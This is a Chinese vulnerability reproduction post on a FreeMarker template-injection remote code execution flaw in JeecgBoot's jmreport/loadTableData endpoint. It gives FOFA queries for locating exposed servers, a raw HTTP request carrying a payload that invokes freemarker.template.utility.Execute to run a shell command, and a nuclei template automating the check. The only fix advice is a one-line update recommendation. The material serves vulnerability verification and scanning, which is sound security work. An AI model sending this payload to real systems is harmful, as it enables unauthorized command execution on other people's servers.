JeecgBoot jmreport/loadTableData RCE漏洞复现_jeecg-boot漏洞

JeecgBoot jmreport/loadTableData RCE漏洞复现

1.漏洞介绍

Jeecg Boot jmreport/loadTableData接口存在FreeMarker SSTI注入漏洞，攻击者可以通过操纵应用程序的模板引擎来执行恶意代码或获取敏感信息

2.漏洞编号

3.影响范围

4.检索特征

FOFA：title==“JeecgBoot 企业级低代码平台” || body=“window._CONFIG[‘imgDomainURL’] = 'http://localhost:8080/jeecg-boot/” || title=“Jeecg-Boot 企业级快速开发平台” || title=“Jeecg 快速开发平台” || body=“‘http://fileview.jeecg.com/onlinePreview’” || title==“JeecgBoot 企业级低代码平台” || title==“Jeecg-Boot 企业级快速开发平台” || title==“JeecgBoot 企业级快速开发平台” || title==“JeecgBoot 企业级快速开发平台” || title=“Jeecg 快速开发平台” || title=“Jeecg-Boot 快速开发平台” || body=“积木报表” || body=“jmreport”

5.POC

POST /jeecg-boot/jmreport/loadTableData HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=UTF-8
Connection: close
 
{"dbSource":"","sql":"select '<#assign value=\"freemarker.template.utility.Execute\"?new()>${value(\"echo 8888888888\")}'","tableName":"test_demo);","pageNo":1,"pageSize":10}
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nuclei检测

id: JeecgBoot-loadTableData-RCE

info:
  name: Jeecg Boot jmreport/loadTableData接口存在FreeMarker SSTI注入漏洞 攻击者可以通过操纵应用程序的模板引擎来执行恶意代码或获取敏感信息
  author: test
  severity: high
  metadata: 
    fofa-query: title=="JeecgBoot 企业级低代码平台" || body="window._CONFIG['imgDomainURL'] = 'http://localhost:8080/jeecg-boot/" || title="Jeecg-Boot 企业级快速开发平台" || title="Jeecg 快速开发平台" || body="'http://fileview.jeecg.com/onlinePreview'" || title=="JeecgBoot 企业级低代码平台" || title=="Jeecg-Boot 企业级快速开发平台" || title=="JeecgBoot 企业级快速开发平台" || title=="JeecgBoot 企业级快速开发平台" || title="Jeecg 快速开发平台" || title="Jeecg-Boot 快速开发平台" || body="积木报表" || body="jmreport"
variables:
  filename: "{{to_lower(rand_base(10))}}"
  boundary: "{{to_lower(rand_base(20))}}"
http:
  - raw:
      - |
        POST /jeecg-boot/jmreport/loadTableData HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
        Accept: application/json, text/plain, */*
        Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
        Accept-Encoding: gzip, deflate
        Content-Type: application/json;charset=UTF-8
        Connection: close
        
        {"dbSource":"","sql":"select '<#assign value=\"freemarker.template.utility.Execute\"?new()>${value(\"echo 8888888888\")}'","tableName":"test_demo);","pageNo":1,"pageSize":10}


    matchers:
      - type: dsl
        dsl:
          - status_code==200 && contains_all(body,"8888888888")
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6.修复建议

更新到最新版本

7.参考信息